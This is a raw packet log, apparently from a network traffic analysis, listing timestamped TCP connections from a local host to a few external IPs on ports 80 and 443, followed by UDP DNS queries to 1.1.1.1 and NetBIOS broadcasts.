Oct 29, 2024 13:11:32.521188974 CET	60766	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:32.521361113 CET	60766	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:32.527183056 CET	80	60766	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:33.442915916 CET	80	60766	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:33.442976952 CET	80	60766	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:33.442991018 CET	60766	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:33.443020105 CET	60766	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:33.443682909 CET	60766	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:33.443701982 CET	60766	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:33.449474096 CET	80	60766	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:33.449548006 CET	60766	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:33.902147055 CET	60767	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:33.908518076 CET	80	60767	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:33.908600092 CET	60767	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:33.908828974 CET	60767	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:33.916167021 CET	80	60767	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:34.828706026 CET	80	60767	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:34.828768015 CET	80	60767	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:34.828790903 CET	60767	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:34.828828096 CET	60767	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:34.829210043 CET	60767	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:34.829268932 CET	60767	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:35.331653118 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:35.337349892 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:35.511270046 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:35.511368990 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:35.517041922 CET	60768	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:35.517080069 CET	443	60768	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:35.517283916 CET	60768	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:35.517606020 CET	60768	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:35.517630100 CET	443	60768	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:36.244172096 CET	443	60768	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:36.244246960 CET	60768	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:36.244781971 CET	60768	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:36.244791985 CET	443	60768	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:36.245239019 CET	60768	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:36.245243073 CET	443	60768	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:36.661587000 CET	443	60768	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:36.661649942 CET	60768	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:36.661659002 CET	443	60768	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:36.661710024 CET	60768	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:36.661803961 CET	60768	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:36.661819935 CET	443	60768	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:36.987138033 CET	60769	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:37.111215115 CET	80	60769	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:37.111475945 CET	60769	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:37.111749887 CET	60769	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:37.117176056 CET	80	60769	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:38.034362078 CET	80	60769	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:38.034385920 CET	80	60769	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:38.034437895 CET	60769	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:38.034486055 CET	60769	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:38.035044909 CET	60769	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:38.035130024 CET	60769	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:38.435376883 CET	60770	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:38.441004038 CET	80	60770	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:38.441083908 CET	60770	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:38.568933010 CET	60770	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:38.574445963 CET	80	60770	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:39.391829967 CET	80	60770	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:39.392035961 CET	60770	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:39.392221928 CET	80	60770	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:39.392549992 CET	60770	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:39.402069092 CET	60770	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:39.402169943 CET	60770	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:39.407892942 CET	80	60770	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:39.407995939 CET	60770	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:39.601001978 CET	60771	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:39.606656075 CET	80	60771	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:39.606781006 CET	60771	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:39.607043028 CET	60771	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:39.612595081 CET	80	60771	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:40.527546883 CET	80	60771	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:40.527584076 CET	80	60771	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:40.527601957 CET	60771	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:40.527640104 CET	60771	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:40.528208017 CET	60771	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:40.528232098 CET	60771	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:41.455147028 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:41.460800886 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:41.634614944 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:41.635618925 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:41.651386976 CET	60772	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:41.651427031 CET	443	60772	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:41.652264118 CET	60772	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:41.652654886 CET	60772	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:41.652667046 CET	443	60772	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:42.367234945 CET	443	60772	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:42.367335081 CET	60772	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:42.370620012 CET	60772	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:42.370629072 CET	443	60772	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:42.371134043 CET	60772	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:42.371138096 CET	443	60772	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:42.549840927 CET	443	60772	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:42.549978018 CET	443	60772	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:42.550015926 CET	60772	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:42.550050020 CET	60772	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:42.550230980 CET	60772	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:42.550251007 CET	443	60772	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:42.550273895 CET	60772	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:42.550322056 CET	60772	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:42.799629927 CET	60773	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:42.805180073 CET	80	60773	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:42.805253029 CET	60773	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:42.805378914 CET	60773	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:42.810738087 CET	80	60773	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:43.750358105 CET	80	60773	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:43.750389099 CET	80	60773	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:43.750626087 CET	60773	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:43.750942945 CET	60773	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:43.750942945 CET	60773	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:43.936599970 CET	60774	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:43.942190886 CET	80	60774	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:43.945296049 CET	60774	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:43.945365906 CET	60774	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:43.950742960 CET	80	60774	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:44.869290113 CET	80	60774	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:44.869354010 CET	80	60774	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:44.869402885 CET	60774	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:44.869404078 CET	60774	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:44.869904041 CET	60774	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:44.869939089 CET	60774	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:45.063476086 CET	60775	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:45.069061041 CET	80	60775	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:45.069428921 CET	60775	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:45.069428921 CET	60775	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:45.074893951 CET	80	60775	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:46.933779001 CET	80	60775	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:46.933839083 CET	60775	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:46.933896065 CET	80	60775	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:46.933907032 CET	80	60775	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:46.934045076 CET	60775	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:46.934154987 CET	60775	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:46.934535980 CET	80	60775	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:46.934612989 CET	60775	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:46.934613943 CET	60775	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:46.934613943 CET	60775	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:46.937578917 CET	80	60775	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:46.937639952 CET	60775	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:46.941564083 CET	80	60775	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:46.941694021 CET	60775	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:47.344938040 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:47.350652933 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:47.526855946 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:47.526940107 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:47.535362005 CET	60776	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:47.535450935 CET	443	60776	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:47.535542965 CET	60776	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:47.539174080 CET	60776	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:47.539211988 CET	443	60776	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:48.249687910 CET	443	60776	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:48.249784946 CET	60776	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:48.250509024 CET	60776	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:48.250540018 CET	443	60776	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:48.250835896 CET	60776	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:48.250848055 CET	443	60776	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:48.431720018 CET	443	60776	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:48.431787014 CET	60776	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:48.431844950 CET	443	60776	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:48.431871891 CET	443	60776	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:48.431927919 CET	60776	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:48.432262897 CET	60776	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:48.432301044 CET	443	60776	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:48.432327032 CET	60776	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:48.432359934 CET	60776	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:48.674849033 CET	60777	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:48.680429935 CET	80	60777	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:48.680500031 CET	60777	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:48.680671930 CET	60777	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:48.686232090 CET	80	60777	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:49.616764069 CET	80	60777	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:49.616823912 CET	80	60777	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:49.616858006 CET	60777	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:49.616947889 CET	60777	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:49.617208958 CET	60777	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:49.617270947 CET	60777	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:49.813159943 CET	60778	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:49.818891048 CET	80	60778	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:49.819092989 CET	60778	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:49.819255114 CET	60778	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:49.825087070 CET	80	60778	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:50.776967049 CET	80	60778	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:50.777153969 CET	60778	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:50.777324915 CET	80	60778	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:50.777384043 CET	60778	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:50.782612085 CET	60778	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:50.782612085 CET	60778	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:51.155016899 CET	60779	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:51.160516977 CET	80	60779	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:51.161345005 CET	60779	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:51.161753893 CET	60779	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:51.167058945 CET	80	60779	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:52.137080908 CET	80	60779	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:52.137142897 CET	80	60779	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:52.137181997 CET	80	60779	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:52.137187004 CET	60779	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:52.137284040 CET	60779	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:52.137284040 CET	60779	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:52.151308060 CET	60779	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:52.151382923 CET	60779	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:52.157201052 CET	80	60779	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:52.157267094 CET	60779	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:52.916248083 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:52.922055006 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:53.096103907 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:53.096214056 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:53.151366949 CET	60780	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:53.151395082 CET	443	60780	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:53.151653051 CET	60780	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:53.153693914 CET	60780	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:53.153700113 CET	443	60780	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:53.883877039 CET	443	60780	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:53.889178038 CET	60780	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:53.932789087 CET	60780	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:53.932806015 CET	443	60780	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:53.933166981 CET	60780	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:53.933175087 CET	443	60780	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:54.114008904 CET	443	60780	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:54.114063978 CET	60780	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:54.114078999 CET	443	60780	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:54.114103079 CET	443	60780	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:54.114130020 CET	60780	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:54.114156008 CET	60780	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:54.114223957 CET	60780	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:54.114237070 CET	443	60780	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:54.114257097 CET	60780	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:54.114281893 CET	60780	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:54.368151903 CET	60781	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:54.373621941 CET	80	60781	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:54.373740911 CET	60781	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:54.373943090 CET	60781	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:54.379332066 CET	80	60781	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:55.305845976 CET	80	60781	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:55.305901051 CET	80	60781	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:55.305958986 CET	60781	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:55.306041956 CET	60781	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:55.306375980 CET	60781	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:55.306375980 CET	60781	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:55.517168999 CET	60782	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:55.522681952 CET	80	60782	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:55.522784948 CET	60782	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:55.523170948 CET	60782	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:55.528491974 CET	80	60782	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:56.445482016 CET	80	60782	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:56.445511103 CET	80	60782	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:56.445554018 CET	60782	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:56.445581913 CET	60782	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:56.445882082 CET	60782	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:56.445931911 CET	60782	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:56.799221992 CET	60783	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:56.804811954 CET	80	60783	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:56.805007935 CET	60783	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:56.805192947 CET	60783	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:56.810561895 CET	80	60783	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:57.726351023 CET	80	60783	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:57.726416111 CET	80	60783	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:57.726455927 CET	60783	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:57.726484060 CET	60783	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:57.726901054 CET	60783	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:57.726914883 CET	60783	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:58.507155895 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:58.512582064 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:58.686666012 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:58.686789989 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:58.691673994 CET	60784	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:58.691720963 CET	443	60784	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:58.691790104 CET	60784	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:58.692111969 CET	60784	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:58.692126989 CET	443	60784	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:59.500016928 CET	443	60784	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:59.507339001 CET	60784	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:59.545375109 CET	60784	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:59.545375109 CET	60784	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:59.545387030 CET	443	60784	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:59.545403004 CET	443	60784	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:59.719551086 CET	443	60784	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:59.719839096 CET	443	60784	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:59.719980001 CET	60784	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:59.720074892 CET	60784	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:59.720094919 CET	443	60784	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:59.720150948 CET	60784	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:59.721944094 CET	60784	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:12:00.046192884 CET	60785	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:12:00.051723003 CET	80	60785	64.233.166.82	192.168.2.5
Oct 29, 2024 13:12:00.051796913 CET	60785	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:12:00.059391975 CET	60785	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:12:00.064831972 CET	80	60785	64.233.166.82	192.168.2.5
Oct 29, 2024 13:12:00.989767075 CET	80	60785	64.233.166.82	192.168.2.5
Oct 29, 2024 13:12:00.989830017 CET	80	60785	64.233.166.82	192.168.2.5
Oct 29, 2024 13:12:00.990310907 CET	60785	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:12:00.990868092 CET	60785	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:12:00.990868092 CET	60785	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:12:01.209182978 CET	60786	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:12:01.214767933 CET	80	60786	108.177.15.82	192.168.2.5
Oct 29, 2024 13:12:01.221180916 CET	60786	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:12:01.233608007 CET	60786	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:12:01.239099026 CET	80	60786	108.177.15.82	192.168.2.5
Oct 29, 2024 13:12:02.143970966 CET	80	60786	108.177.15.82	192.168.2.5
Oct 29, 2024 13:12:02.144040108 CET	80	60786	108.177.15.82	192.168.2.5
Oct 29, 2024 13:12:02.144047022 CET	60786	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:12:02.144123077 CET	60786	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:12:02.144965887 CET	60786	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:12:02.145052910 CET	60786	80	192.168.2.5	108.177.15.82

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 13:07:59.120920897 CET	61110	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:07:59.146590948 CET	53	61110	1.1.1.1	192.168.2.5
Oct 29, 2024 13:07:59.551199913 CET	59159	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:07:59.559124947 CET	53	59159	1.1.1.1	192.168.2.5
Oct 29, 2024 13:08:01.160613060 CET	50055	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:08:01.168415070 CET	53	50055	1.1.1.1	192.168.2.5
Oct 29, 2024 13:08:01.427300930 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:01.427611113 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:01.821377039 CET	50723	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:08:02.176616907 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:02.361577988 CET	53	50723	1.1.1.1	192.168.2.5
Oct 29, 2024 13:08:02.943120003 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:04.657756090 CET	60240	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:08:04.665932894 CET	53	60240	1.1.1.1	192.168.2.5
Oct 29, 2024 13:08:04.682634115 CET	50690	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:08:04.715051889 CET	53	50690	1.1.1.1	192.168.2.5
Oct 29, 2024 13:08:04.801676989 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:04.801709890 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:05.567245007 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:06.332870960 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:07.087328911 CET	63754	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:08:07.174757004 CET	53	63754	1.1.1.1	192.168.2.5
Oct 29, 2024 13:08:08.098721027 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:08.098761082 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:08.455091953 CET	62479	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:08:08.771855116 CET	53	62479	1.1.1.1	192.168.2.5
Oct 29, 2024 13:08:08.848588943 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:09.614171028 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:09.700433969 CET	54109	53	192.168.2.5	1.1.1.1
Oct 29, 2024 13:08:10.052191019 CET	53	54109	1.1.1.1	192.168.2.5
Oct 29, 2024 13:08:11.380033016 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:12.129787922 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:12.895381927 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:16.652674913 CET	138	138	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:16.652674913 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:17.398890018 CET	137	137	192.168.2.5	192.168.2.255
Oct 29, 2024 13:08:17.716428041 CET	53506	53	192.168.2.5	1.1.1.1
